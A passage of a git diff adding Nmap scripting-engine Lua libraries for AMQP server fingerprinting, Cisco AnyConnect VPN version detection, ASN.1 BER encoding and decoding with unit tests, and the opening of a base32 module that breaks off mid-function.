+++ b/nselib/amqp.lua
@@ -0,0 +1,333 @@
+---
+-- The AMQP library provides some basic functionality for retrieving information
+-- about an AMQP server's properties.
+--
+-- Summary
+-- -------
+-- The library currently supports the AMQP 0-9 and 0-8 protocol specifications.
+--
+-- Overview
+-- --------
+-- The library contains the following classes:
+--
+-- o AMQP
+-- - This class contains the core functions needed to communicate with AMQP
+--
+-- @args amqp.version Can be used to specify the client version to use (currently, 0-8, 0-9 or 0-9-1)
+--
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+-- @author Sebastian Dragomir <velorien@gmail.com>
+
+-- Version 0.1
+
+-- Created 05/04/2011 - v0.1 - created by Sebastian Dragomir <velorien@gmail.com>
+
+local match = require "match"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+_ENV = stdnse.module("amqp", stdnse.seeall);
+
+
+AMQP = {
+
+ -- protocol versions sent by the server
+ versions = {
+ [0x0800] = "0-8",
+ [0x0009] = "0-9"
+ },
+
+ -- version strings the client supports
+ client_version_strings = {
+ ["0-8"] = "\x01\x01\x08\x00",
+ ["0-9"] = "\x00\x00\x09\x00",
+ ["0-9-1"] = "\x00\x00\x09\x01"
+ },
+
+ new = function(self, host, port)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.host = host
+ o.port = port
+ o.amqpsocket = nmap.new_socket()
+ o.cli_version = self.client_version_strings[nmap.registry.args['amqp.version']] or self.client_version_strings["0-9-1"]
+ o.protover = nil
+ o.server_version = nil
+ o.server_product = nil
+ o.serer_properties = nil
+ return o
+ end,
+
+ --- Connects the AMQP socket
+ connect = function(self)
+ local data, status, msg
+
+ status, msg = self.amqpsocket:connect(self.host, self.port, "tcp")
+ return status, msg
+ end,
+
+ --- Disconnects the AMQP socket
+ disconnect = function(self)
+ self.amqpsocket:close()
+ end,
+
+ --- Decodes a table value in the server properties field.
+ --
+ -- @param tbl the decoded table
+ -- @param tsize number, the table size in bytes
+ -- @return status, true on success, false on failure
+ -- @return error string containing error message if status is false
+ -- @return decoded value
+ decodeTable = function(self, tbl, tsize)
+ local status, err, tmp, read, value
+ read = 0
+
+ while read < tsize do
+ local key, value
+
+ status, tmp = self.amqpsocket:receive_buf(match.numbytes(1), true)
+ if ( not(status) ) then
+ return status, "ERROR: AMQP:handshake connection closed unexpectedly while reading key length", nil
+ end
+ read = read + 1
+
+ tmp = string.unpack("B", tmp)
+ status, key = self.amqpsocket:receive_buf(match.numbytes(tmp), true)
+ if ( not(status) ) then
+ return status, "ERROR: AMQP:handshake connection closed unexpectedly while reading key", nil
+ end
+ read = read + tmp
+
+ status, tmp = self.amqpsocket:receive_buf(match.numbytes(1), true)
+ if ( not(status) ) then
+ return status, "ERROR: AMQP:handshake connection closed unexpectedly while reading value type for " .. key, nil
+ end
+ read = read + 1
+
+ if ( tmp == 'F' ) then -- table type
+ status, tmp = self.amqpsocket:receive_buf(match.numbytes(4), true)
+ if ( not(status) ) then
+ return status, "ERROR: AMQP:handshake connection closed unexpectedly while reading table size", nil
+ end
+
+ read = read + 4
+ value = {}
+ tmp = string.unpack(">I4", tmp)
+ status, err, value = self:decodeTable(value, tmp)
+ read = read + tmp
+ table.insert(tbl, key .. ": ")
+ table.insert(tbl, value)
+ elseif ( tmp == 'S' ) then -- string type
+ status, err, value, read = self:decodeString(key, read)
+ if ( key == "product" ) then
+ self.server_product = value
+ elseif ( key == "version" ) then
+ self.server_version = value
+ end
+ table.insert(tbl, key .. ": " .. value)
+ elseif ( tmp == 't' ) then -- boolean type
+ status, err, value, read = self:decodeBoolean(key, read)
+ table.insert(tbl, key .. ": " .. value)
+ end
+
+ if ( not(status) ) then
+ return status, err, nil
+ end
+
+ end
+
+ return true, nil, tbl
+ end,
+
+ --- Decodes a string value in the server properties field.
+ --
+ -- @param key string, the key being read
+ -- @param read number, number of bytes already read
+ -- @return status, true on success, false on failure
+ -- @return error string containing error message if status is false
+ -- @return decoded value
+ -- @return number of bytes read after decoding this value
+ decodeString = function(self, key, read)
+ local value, status, tmp
+ status, tmp = self.amqpsocket:receive_buf(match.numbytes(4), true)
+ if ( not(status) ) then
+ return status, "ERROR: AMQP:handshake connection closed unexpectedly while reading value size for " .. key, nil, 0
+ end
+
+ read = read + 4
+ tmp = string.unpack(">I4", tmp)
+ status, value = self.amqpsocket:receive_buf(match.numbytes(tmp), true)
+
+ if ( not(status) ) then
+ return status, "ERROR: AMQP:handshake connection closed unexpectedly while reading value for " .. key, nil, 0
+ end
+ read = read + tmp
+
+ return true, nil, value, read
+ end,
+
+ --- Decodes a boolean value in the server properties field.
+ --
+ -- @param key string, the key being read
+ -- @param read number, number of bytes already read
+ -- @return status, true on success, false on failure
+ -- @return error string containing error message if status is false
+ -- @return decoded value
+ -- @return number of bytes read after decoding this value
+ decodeBoolean = function(self, key, read)
+ local status, value
+ status, value = self.amqpsocket:receive_buf(match.numbytes(1), true)
+ if ( not(status) ) then
+ return status, "ERROR: AMQP:handshake connection closed unexpectedly while reading value for " .. key, nil, 0
+ end
+
+ value = string.unpack("B", value)
+ read = read + 1
+
+ return true, nil, value == 0x01 and "YES" or "NO", read
+ end,
+
+ --- Performs the AMQP handshake and determines
+ -- * The AMQP protocol version
+ -- * The server properties/capabilities
+ --
+ -- @return status, true on success, false on failure
+ -- @return error string containing error message if status is false
+ handshake = function(self)
+ local _, status, err, version, tmp, value, properties
+
+ status = self.amqpsocket:send( "AMQP" .. self.cli_version )
+ if ( not(status) ) then
+ return false, "ERROR: AMQP:handshake failed while sending client version"
+ end
+
+ status, tmp = self.amqpsocket:receive_buf(match.numbytes(11), true)
+ if ( not(status) ) then
+ return status, "ERROR: AMQP:handshake connection closed unexpectedly while reading frame header"
+ end
+
+ -- check if the server rejected our proposed version
+ if ( #tmp ~= 11 ) then
+ if ( #tmp == 8 and string.unpack(">I4", tmp) == 0x414D5150 ) then
+ local vi, vii, v1, v2, v3, v4, found
+ vi = string.unpack(">I4", tmp, 5)
+ found = false
+
+ -- check if we support the server's version
+ for _, v in pairs( self.client_version_strings ) do
+ vii = string.unpack(">I4", v)
+ if ( vii == vi ) then
+ version = v
+ found = true
+ break
+ end
+ end
+
+ -- try again with new version string
+ if ( found and version ~= self.cli_version ) then
+ self.cli_version = version
+ self:disconnect()
+ status, err = self:connect()
+
+ if ( not(status) ) then
+ return status, err
+ end
+
+ return self:handshake()
+ end
+
+ -- version unsupported
+ v1, v2, v3, v4 = string.unpack(">BBBB", tmp, 5)
+ return false, ("ERROR: AMQP:handshake unsupported version (%d.%d.%d.%d)"):format( v1, v2, v3, v4 )
+ else
+ return false, ("ERROR: AMQP:handshake server might not be AMQP, received: %s"):format( tmp )
+ end
+ end
+
+ -- parse frame header
+ local frametype, chnumber, framesize, method = string.unpack(">BI2I4I4", tmp)
+ stdnse.debug1("frametype: %d, chnumber: %d, framesize: %d, method: %d", frametype, chnumber, framesize, method)
+
+ if (frametype ~= 1) then
+ return false, ("ERROR: AQMP:handshake expected header (1) frame, but was %d"):format(frametype)
+ end
+
+ if (method ~= 0x000A000A) then
+ return false, ("ERROR: AQMP:handshake expected connection.start (0x000A000A) method, but was %x"):format(method)
+ end
+
+ -- parse protocol version
+ status, tmp = self.amqpsocket:receive_buf(match.numbytes(2), true)
+ if ( not(status) ) then
+ return status, "ERROR: AMQP:handshake connection closed unexpectedly while reading version"
+ end
+ version = string.unpack(">I2", tmp)
+ self.protover = AMQP.versions[version]
+
+ if ( not(self.protover) ) then
+ return false, ("ERROR: AMQP:handshake unsupported version (%x)"):format(version)
+ end
+
+ -- parse server properties
+ status, tmp = self.amqpsocket:receive_buf(match.numbytes(4), true)
+ if ( not(status) ) then
+ return status, "ERROR: AMQP:handshake connection closed unexpectedly while reading server properties size"
+ end
+
+ local tablesize = string.unpack(">I4", tmp)
+ properties = {}
+ status, err, properties = self:decodeTable(properties, tablesize)
+
+ if ( not(status) ) then
+ return status, err
+ end
+
+ status, err, value, tmp = self:decodeString("mechanisms", 0)
+ if ( not(status) ) then
+ return status, err
+ end
+ table.insert(properties, "mechanisms: " .. value)
+
+ status, err, value, tmp = self:decodeString("locales", 0)
+ if ( not(status) ) then
+ return status, err
+ end
+ table.insert(properties, "locales: " .. value)
+
+ self.server_properties = properties
+
+ return true
+ end,
+
+ --- Returns the protocol version reported by the server
+ --
+ -- @return string containing the version number
+ getProtocolVersion = function( self )
+ return self.protover
+ end,
+
+ --- Returns the product version reported by the server
+ --
+ -- @return string containing the version number
+ getServerVersion = function( self )
+ return self.server_version
+ end,
+
+ --- Returns the product name reported by the server
+ --
+ -- @return string containing the product name
+ getServerProduct = function( self )
+ return self.server_product
+ end,
+
+ --- Returns the properties reported by the server
+ --
+ -- @return table containing server properties
+ getServerProperties = function( self )
+ return self.server_properties
+ end,
+}
+
+return _ENV;
diff --git a/nselib/anyconnect.lua b/nselib/anyconnect.lua
new file mode 100644
index 0000000..5f05d86
--- /dev/null
+++ b/nselib/anyconnect.lua
@@ -0,0 +1,144 @@
+---
+-- This library implements HTTP requests used by the Cisco AnyConnect VPN Client
+--
+-- @author Patrik Karlsson <patrik@cqure.net>
+--
+-- @args anyconnect.group AnyConnect tunnel group (default: VPN)
+-- @args anyconnect.mac MAC address of connecting client (default: random MAC)
+-- @args anyconnect.version Version of connecting client (default: 3.1.05160)
+-- @args anyconnect.ua User Agent of connecting client (default: AnyConnect Darwin_i386 3.1.05160)
+
+local http = require('http')
+local stdnse = require('stdnse')
+local url = require('url')
+local table = require('table')
+local rand = require "rand"
+
+local args_group= stdnse.get_script_args('anyconnect.group') or "VPN"
+local args_mac= stdnse.get_script_args('anyconnect.mac')
+local args_ver = stdnse.get_script_args('anyconnect.version') or "3.1.05160"
+local args_ua = stdnse.get_script_args('anyconnect.ua') or ("AnyConnect Darwin_i386 %s"):format(args_ver)
+
+_ENV = stdnse.module("anyconnect", stdnse.seeall)
+
+Cisco = {
+
+ Util = {
+
+ generate_mac = function()
+ return stdnse.format_mac(rand.random_string(6))
+ end,
+
+ },
+
+ AnyConnect = {
+
+ new = function(self, host, port)
+ local o = { host = host, port = port }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- generate a random hex-string of length 'length'
+ --
+ generate_random = function(length)
+ return rand.random_string(length * 2, '0123456789ABCDEF')
+ end,
+
+ connect = function(self)
+ args_mac = args_mac or Cisco.Util.generate_mac()
+ local headers = {
+ ['User-Agent'] = args_ua,
+ ['Accept'] = '*/*',
+ ['Accept-Encoding'] = 'identity',
+ ['X-Transcend-Version'] = 1,
+ ['X-Aggregate-Auth'] = 1,
+ ['X-AnyConnect-Platform'] = 'mac-intel'
+ }
+
+ local data = ([[<?xml version="1.0" encoding="UTF-8"?>
+<config-auth client="vpn" type="init" aggregate-auth-version="2">
+<version who="vpn">%s</version>
+<device-id device-type="MacBookAir4,1" platform-version="10.9.2" unique-id="%s">mac-intel</device-id>
+<mac-address-list>
+<mac-address>%s</mac-address></mac-address-list>
+<group-select>%s</group-select>
+<group-access>https://%s:%s</group-access>
+</config-auth>]]):format(args_ver, self.generate_random(64), args_mac, args_group, self.host.ip, self.port.number)
+
+ local options = { header=headers , no_cache=true, redirect_ok = function(host,port)
+ local c = 5
+ return function(url)
+ if ( c==0 ) then return false end
+ c = c - 1
+ return true
+ end
+ end
+ }
+
+ local path = '/'
+ local response = http.head(self.host, self.port, path, options)
+ -- account for redirects
+ if response.status ~= 200 then
+ return false, "Failed to connect to SSL VPN server"
+ elseif response.location then
+ local u = url.parse(response.location[#response.location])
+ if u.host then
+ self.host = u.host
+ end
+ if u.path then
+ path = u.path
+ end
+ end
+
+ response = http.post(self.host, self.port, path, options, nil, data)
+
+ if response.status ~= 200 or response.body == nil then
+ return false, "Not a Cisco ASA or unsupported version"
+ end
+
+ local xmltags = {
+ 'version',
+ 'tunnel-group',
+ 'group-alias',
+ 'config-hash',
+ 'host-scan-ticket',
+ 'host-scan-token',
+ 'host-scan-base-uri',
+ 'host-scan-wait-uri',
+ 'banner'
+ }
+
+ self.conn_attr = {}
+ for _, tag in ipairs(xmltags) do
+ local body = response.body:gsub('\r?\n', '')
+ local filter = ("<%s.->(.*)</%s>"):format(tag:gsub('-', '%%-'), tag:gsub('-', '%%-'))
+ local m = body:match(filter)
+ if m then
+ self.conn_attr[tag] = m
+ end
+ end
+
+ if not self.conn_attr['version'] then
+ return false, "Not a Cisco ASA or unsupported version"
+ end
+
+ -- in case we were redirected
+ self.conn_attr['host'] = stdnse.get_hostname(self.host)
+ return true
+ end,
+
+ ---
+ -- Returns the version of the remote SSL VPN concentrator
+ -- @return table containing major, minor and rev numeric values
+ get_version = function(self)
+ local ver = {}
+ ver['major'], ver['minor'], ver['rev'] = self.conn_attr['version']:match('^(%d-)%.(%d-)%((.*)%)$')
+ return ver
+ end
+
+ }
+}
+
+return _ENV
diff --git a/nselib/asn1.lua b/nselib/asn1.lua
new file mode 100644
index 0000000..15874fd
--- /dev/null
+++ b/nselib/asn1.lua
@@ -0,0 +1,527 @@
+---
+-- ASN.1 functions.
+--
+-- Large chunks of this code have been ripped right out from <code>snmp.lua</code>.
+--
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+--
+-- @author Patrik Karlsson
+-- @class module
+-- @name asn1
+--
+
+-- Version 0.3
+-- Created 01/12/2010 - v0.1 - Created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 01/28/2010 - v0.2 - Adapted to create a framework for SNMP, LDAP and future protocols
+-- Revised 02/02/2010 - v0.3 - Changes: o Re-designed so that ASN1Encoder and ASN1Decoder are separate classes
+-- o Each script or library should now create its own Encoder and Decoder instance
+--
+
+local math = require "math"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+_ENV = stdnse.module("asn1", stdnse.seeall)
+
+BERCLASS = {
+ Universal = 0,
+ Application = 64,
+ ContextSpecific = 128,
+ Private = 192
+}
+
+--- The decoder class
+--
+ASN1Decoder = {
+
+ new = function(self,o)
+ o = o or {}
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Tells the decoder to stop if it detects an error while decoding.
+ --
+ -- This should probably be the default, but some scripts depend on being
+ -- able to decode stuff while lacking proper ASN1 decoding functions.
+ -- @name ASN1Decoder.setStopOnError
+ -- @param val boolean, true if decoding should stop on error,
+ -- otherwise false (default)
+ setStopOnError = function(self, val)
+ self.stoponerror = val
+ end,
+
+ --- Registers the base simple type decoders
+ -- @name ASN1Decoder.registerBaseDecoders
+ registerBaseDecoders = function(self)
+ self.decoder = {}
+
+ -- Boolean
+ self.decoder["\x01"] = function( self, encStr, elen, pos )
+ local val = string.byte(encStr, pos)
+ return val ~= 0, pos + 1
+ end
+
+ -- Integer
+ self.decoder["\x02"] = function( self, encStr, elen, pos )
+ return self.decodeInt(encStr, elen, pos)
+ end
+
+ -- Octet String
+ self.decoder["\x04"] = function( self, encStr, elen, pos )
+ return string.unpack("c" .. elen, encStr, pos)
+ end
+
+ -- Null
+ self.decoder["\x05"] = function( self, encStr, elen, pos )
+ return false, pos
+ end
+
+ -- Object Identifier
+ self.decoder["\x06"] = function( self, encStr, elen, pos )
+ return self:decodeOID( encStr, elen, pos )
+ end
+
+ -- Context specific tags
+ --
+ self.decoder["\x30"] = function( self, encStr, elen, pos )
+ return self:decodeSeq(encStr, elen, pos)
+ end
+ end,
+
+ --- Table for registering additional tag decoders.
+ --
+ -- Each index is a tag number as a hex string. Values are ASN1 decoder
+ -- functions.
+ -- @name tagDecoders
+ -- @class table
+ -- @see asn1.decoder
+
+ --- Template for an ASN1 decoder function.
+ -- @name asn1.decoder
+ -- @class function
+ -- @param self The ASN1Decoder object
+ -- @param encStr Encoded string
+ -- @param elen Length of the object in bytes
+ -- @param pos Current position in the string
+ -- @return The decoded object
+ -- @return The position after decoding
+
+ --- Allows for registration of additional tag decoders
+ -- @name ASN1Decoder.registerTagDecoders
+ -- @param tagDecoders table containing decoding functions
+ -- @see tagDecoders
+ registerTagDecoders = function(self, tagDecoders)
+ self:registerBaseDecoders()
+ for k, v in pairs(tagDecoders) do
+ self.decoder[k] = v
+ end
+ end,
+
+ --- Decodes the ASN.1's built-in simple types
+ -- @name ASN1Decoder.decode
+ -- @param encStr Encoded string.
+ -- @param pos Current position in the string.
+ -- @return The decoded value(s).
+ -- @return The position after decoding
+ decode = function(self, encStr, pos)
+
+ local etype, elen
+ local newpos = pos
+
+ etype, newpos = string.unpack("c1", encStr, newpos)
+ elen, newpos = self.decodeLength(encStr, newpos)
+
+ if self.decoder[etype] then
+ return self.decoder[etype]( self, encStr, elen, newpos )
+ else
+ stdnse.debug1("no decoder for etype: %s", stdnse.tohex(etype))
+ return nil, newpos
+ end
+ end,
+
+ ---
+ -- Decodes length part of encoded value according to ASN.1 basic encoding
+ -- rules.
+ -- @name ASN1Decoder.decodeLength
+ -- @param encStr Encoded string.
+ -- @param pos Current position in the string.
+ -- @return The length of the following value.
+ -- @return The position after decoding.
+ decodeLength = function(encStr, pos)
+ local elen, newpos = string.unpack('B', encStr, pos)
+ if (elen > 128) then
+ elen = elen - 128
+ local elenCalc = 0
+ local elenNext
+ for i = 1, elen do
+ elenCalc = elenCalc * 256
+ elenNext, newpos = string.unpack('B', encStr, newpos)
+ elenCalc = elenCalc + elenNext
+ end
+ elen = elenCalc
+ end
+ return elen, newpos
+ end,
+
+ ---
+ -- Decodes a sequence according to ASN.1 basic encoding rules.
+ -- @name ASN1Decoder.decodeSeq
+ -- @param encStr Encoded string.
+ -- @param len Length of sequence in bytes.
+ -- @param pos Current position in the string.
+ -- @return The decoded sequence as a table.
+ -- @return The position after decoding.
+ decodeSeq = function(self, encStr, len, pos)
+ local seq = {}
+ local sPos = 1
+ local sStr, newpos = string.unpack("c" .. len, encStr, pos)
+ while (sPos < len) do
+ local newSeq
+ newSeq, sPos = self:decode(sStr, sPos)
+ if ( not(newSeq) and self.stoponerror ) then break end
+ table.insert(seq, newSeq)
+ end
+ return seq, newpos
+ end,
+
+ -- Decode one component of an OID from a byte string. 7 bits of the component
+ -- are stored in each octet, most significant first, with the eighth bit set in
+ -- all octets but the last. These encoding rules come from
+ -- http://luca.ntop.org/Teaching/Appunti/asn1.html, section 5.9 OBJECT
+ -- IDENTIFIER.
+ decode_oid_component = function(encStr, pos)
+ local octet
+ local n = 0
+
+ repeat
+ octet, pos = string.unpack("B", encStr, pos)
+ n = n * 128 + (0x7F & octet)
+ until octet < 128
+
+ return n, pos
+ end,
+
+ --- Decodes an OID from a sequence of bytes.
+ -- @name ASN1Decoder.decodeOID
+ -- @param encStr Encoded string.
+ -- @param len Length of sequence in bytes.
+ -- @param pos Current position in the string.
+ -- @return The OID as an array.
+ -- @return The position after decoding.
+ decodeOID = function(self, encStr, len, pos)
+ local last
+ local oid = {}
+ local octet
+
+ last = pos + len - 1
+ if pos <= last then
+ oid._snmp = '\x06'
+ octet, pos = string.unpack("B", encStr, pos)
+ oid[2] = math.fmod(octet, 40)
+ octet = octet - oid[2]
+ oid[1] = octet//40
+ end
+
+ while pos <= last do
+ local c
+ c, pos = self.decode_oid_component(encStr, pos)
+ oid[#oid + 1] = c
+ end
+
+ return oid, pos
+ end,
+
+ ---
+ -- Decodes an Integer according to ASN.1 basic encoding rules.
+ -- @name ASN1Decoder.decodeInt
+ -- @param encStr Encoded string.
+ -- @param len Length of integer in bytes.
+ -- @param pos Current position in the string.
+ -- @return The decoded integer.
+ -- @return The position after decoding.
+ decodeInt = function(encStr, len, pos)
+ if len > 16 then
+ stdnse.debug2("asn1: Unable to decode %d-byte integer at %d", len, pos)
+ return nil, pos
+ end
+ return string.unpack(">i" .. len, encStr, pos)
+ end,
+
+}
+
+--- The encoder class
+--
+ASN1Encoder = {
+
+ new = function(self)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o:registerBaseEncoders()
+ return o
+ end,
+
+ ---
+ -- Encodes an ASN1 sequence
+ -- @name ASN1Encoder.encodeSeq
+ -- @param seqData A string of sequence data
+ -- @return ASN.1 BER-encoded sequence
+ encodeSeq = function(self, seqData)
+ -- 0x30 = 00110000 = 00 1 10000
+ -- hex binary Universal Constructed value Data Type = SEQUENCE (16)
+ return "\x30" .. self.encodeLength(#seqData) .. seqData
+ end,
+
+ ---
+ -- Encodes a given value according to ASN.1 basic encoding rules for SNMP
+ -- packet creation.
+ -- @name ASN1Encoder.encode
+ -- @param val Value to be encoded.
+ -- @return Encoded value.
+ encode = function(self, val)
+ local vtype = type(val)
+
+ if self.encoder[vtype] then
+ return self.encoder[vtype](self,val)
+ else
+ return nil
+ end
+
+ return ''
+ end,
+
+ --- Table for registering additional tag encoders.
+ --
+ -- Each index is a lua type as a string. Values are ASN1 encoder
+ -- functions.
+ -- @name tagEncoders
+ -- @class table
+ -- @see asn1.encoder
+
+ --- Template for an ASN1 encoder function.
+ -- @name asn1.encoder
+ -- @param self The ASN1Encoder object
+ -- @param val The value to encode
+ -- @return The encoded object
+ -- @class function
+
+ --- Allows for registration of additional tag encoders
+ -- @name ASN1Decoder.registerTagEncoders
+ -- @param tagEncoders table containing encoding functions
+ -- @see tagEncoders
+ registerTagEncoders = function(self, tagEncoders)
+ self:registerBaseEncoders()
+ for k, v in pairs(tagEncoders) do
+ self.encoder[k] = v
+ end
+ end,
+
+ --- Registers the base ASN.1 Simple types encoders
+ --
+ -- * boolean
+ -- * integer (Lua number)
+ -- * string
+ -- * null (Lua nil)
+ -- @name ASN1Encoder.registerBaseEncoders
+ registerBaseEncoders = function(self)
+ self.encoder = {}
+
+ -- Boolean encoder
+ self.encoder['boolean'] = function( self, val )
+ if val then
+ return '\x01\x01\xFF'
+ else
+ return '\x01\x01\x00'
+ end
+ end
+
+ -- Table encoder
+ self.encoder['table'] = function( self, val )
+ assert('table' == type(val), "val is not a table")
+ assert(#val.type > 0, "Table is missing the type field")
+ assert(val.value ~= nil, "Table is missing the value field")
+ return stdnse.fromhex(val.type) .. self.encodeLength(#val.value) .. val.value
+ end
+
+ -- Integer encoder
+ self.encoder['number'] = function( self, val )
+ local ival = self.encodeInt(val)
+ local len = self.encodeLength(#ival)
+ return "\x02" .. len .. ival
+ end
+
+ -- Octet String encoder
+ self.encoder['string'] = function( self, val )
+ local len = self.encodeLength(#val)
+ return "\x04" .. len .. val
+ end
+
+ -- Null encoder
+ self.encoder['nil'] = function( self, val )
+ return '\x05\x00'
+ end
+
+ end,
+
+ -- Encode one component of an OID as a byte string. 7 bits of the component are
+ -- stored in each octet, most significant first, with the eighth bit set in all
+ -- octets but the last. These encoding rules come from
+ -- http://luca.ntop.org/Teaching/Appunti/asn1.html, section 5.9 OBJECT
+ -- IDENTIFIER.
+ encode_oid_component = function(n)
+ local parts = {}
+ parts[1] = string.char(n % 128)
+ while n >= 128 do
+ n = n >> 7
+ parts[#parts + 1] = string.char(n % 128 + 0x80)
+ end
+ return string.reverse(table.concat(parts))
+ end,
+
+ ---
+ -- Encodes an Integer according to ASN.1 basic encoding rules.
+ -- @name ASN1Encoder.encodeInt
+ -- @param val Value to be encoded.
+ -- @return Encoded integer.
+ encodeInt = function(val)
+ local lsb = 0
+ if val > 0 then
+ local valStr = ""
+ while (val > 0) do
+ lsb = math.fmod(val, 256)
+ valStr = valStr .. string.pack("B", lsb)
+ val = math.floor(val/256)
+ end
+ if lsb > 127 then -- two's complement collision
+ valStr = valStr .. "\0"
+ end
+
+ return string.reverse(valStr)
+ elseif val < 0 then
+ local i = 1
+ local tcval = val + 256 -- two's complement
+ while tcval <= 127 do
+ tcval = tcval + 256^i * 255
+ i = i+1
+ end
+ local valStr = ""
+ while (tcval > 0) do
+ lsb = math.fmod(tcval, 256)
+ valStr = valStr .. string.pack("B", lsb)
+ tcval = math.floor(tcval/256)
+ end
+ return string.reverse(valStr)
+ else -- val == 0
+ return '\0'
+ end
+ end,
+
+ ---
+ -- Encodes the length part of a ASN.1 encoding triplet using the "primitive,
+ -- definite-length" method.
+ -- @name ASN1Encoder.encodeLength
+ -- @param len Length to be encoded.
+ -- @return Encoded length value.
+ encodeLength = function(len)
+ if len < 128 then
+ return string.char(len)
+ else
+ local parts = {}
+
+ while len > 0 do
+ parts[#parts + 1] = string.char(len % 256)
+ len = len >> 8
+ end
+
+ assert(#parts < 128)
+ return string.char(#parts + 0x80) .. string.reverse(table.concat(parts))
+ end
+ end
+}
+
+
+--- Converts a BER encoded type to a numeric value
+--
+-- This allows it to be used in the encoding function
+--
+-- @param class number - see <code>BERCLASS<code>
+-- @param constructed boolean (true if constructed, false if primitive)
+-- @param number numeric
+-- @return number to be used with <code>encode</code>
+function BERtoInt(class, constructed, number)
+
+ local asn1_type = class + number
+
+ if constructed == true then
+ asn1_type = asn1_type + 32
+ end
+
+ return asn1_type
+end
+
+---
+-- Converts an integer to a BER encoded type table
+--
+-- @param i number containing the value to decode
+-- @return table with the following entries:
+-- * <code>class</code>
+-- * <code>constructed</code>
+-- * <code>primitive</code>
+-- * <code>number</code>
+function intToBER( i )
+ local ber = {}
+
+ if i & BERCLASS.Application == BERCLASS.Application then
+ ber.class = BERCLASS.Application
+ elseif i & BERCLASS.ContextSpecific == BERCLASS.ContextSpecific then
+ ber.class = BERCLASS.ContextSpecific
+ elseif i & BERCLASS.Private == BERCLASS.Private then
+ ber.class = BERCLASS.Private
+ else
+ ber.class = BERCLASS.Universal
+ end
+ if i & 32 == 32 then
+ ber.constructed = true
+ ber.number = i - ber.class - 32
+ else
+ ber.primitive = true
+ ber.number = i - ber.class
+ end
+ return ber
+end
+
+local unittest = require 'unittest'
+if not unittest.testing() then
+ return _ENV
+end
+
+test_suite = unittest.TestSuite:new()
+
+do
+ local decode_tests = {
+ {unittest.is_false, "\x01\x01\x00", nil, "decode false"},
+ {unittest.is_true, "\x01\x01\x01", nil, "decode true"},
+ {unittest.is_true, "\x01\x01\xff", nil, "decode true (not 1)"},
+ {unittest.equal, "\x02\x01\x01", 1, "decode integer"},
+ {unittest.equal, "\x02\x02\xff\xff", -1, "decode negative integer"},
+ {unittest.equal, "\x02\x03\x01\x00\x02", 65538, "decode integer"},
+ {unittest.equal, "\x04\x04nmap", "nmap", "decode octet string"},
+ {unittest.is_false, "\x05\x00", nil, "decode null as false"},
+ {unittest.identical, "\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x09\x04\x31",
+ {1, 2, 840, 113549, 1, 9, 4, _snmp="\x06"}, "decode OID"
+ },
+ {unittest.identical, "\x30\x09\x02\x01\x01\x02\x01\xff\x02\x01\x42",
+ {1, -1, 0x42}, "decode sequence"
+ },
+ }
+ local test_decoder = ASN1Decoder:new()
+ test_decoder:registerBaseDecoders()
+
+ for _, test in ipairs(decode_tests) do
+ test_suite:add_test(test[1](test_decoder:decode(test[2], 1), test[3]), test[4])
+ end
+end
+
+return _ENV;
diff --git a/nselib/base32.lua b/nselib/base32.lua
new file mode 100644
index 0000000..e830ce1
--- /dev/null
+++ b/nselib/base32.lua
@@ -0,0 +1,245 @@
+-- The MIT License (MIT)
+-- Copyright (c) 2016 Patrick Joseph Donnelly (batrick@batbytes.com)
+--
+-- Permission is hereby granted, free of charge, to any person obtaining a copy of
+-- this software and associated documentation files (the "Software"), to deal in
+-- the Software without restriction, including without limitation the rights to
+-- use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
+-- of the Software, and to permit persons to whom the Software is furnished to do
+-- so, subject to the following conditions:
+--
+-- The above copyright notice and this permission notice shall be included in all
+-- copies or substantial portions of the Software.
+--
+-- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+-- IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+-- FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+-- AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+-- LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+-- OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+-- SOFTWARE.
+
+---
+-- Base32 encoding and decoding. Follows RFC 4648.
+--
+-- @author Patrick Donnelly <batrick@batbytes.com>
+-- @copyright The MIT License (MIT); Copyright (c) 2016 Patrick Joseph Donnelly (batrick@batbytes.com)
+
+local assert = assert
+local error = error
+local ipairs = ipairs
+local setmetatable = setmetatable
+
+local open = require "io".open
+local popen = require "io".popen
+
+local random = require "math".random
+
+local tmpname = require "os".tmpname
+local remove = require "os".remove
+
+local char = require "string".char
+
+local concat = require "table".concat
+
+local unittest = require "unittest"
+
+_ENV = require "stdnse".module "base32"
+
+local b32standard = {
+ 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
+ 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
+ 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
+ 'Y', 'Z', '2', '3', '4', '5', '6', '7',
+}
+
+local b32hexExtend = {
+ '0', '1', '2', '3', '4', '5', '6', '7',
+ '8', '9', 'A', 'B', 'C', 'D', 'E', 'F',
+ 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',
+ 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',
+}
+
+local function etransform (t, a, b, c, d, e)
+ local e1 = t[((a>>3)&0x1f)+1]
+ local e2 = t[((((a<<2)&0x1c)|((b>>6)&0x03))&0x1f)+1]
+ local e3 = t[((b>>1)&0x1f)+1]
+ local e4 = t[((((b<<4)&0x10)|((c>>4)&0x0f))&0x1f)+1]
+ local e5 = t[((((c<<1)&0x1e)|((d>>7)&0x01))&0x1f)+1]
+ local e6 = t[((d>>2)&0x1f)+1]
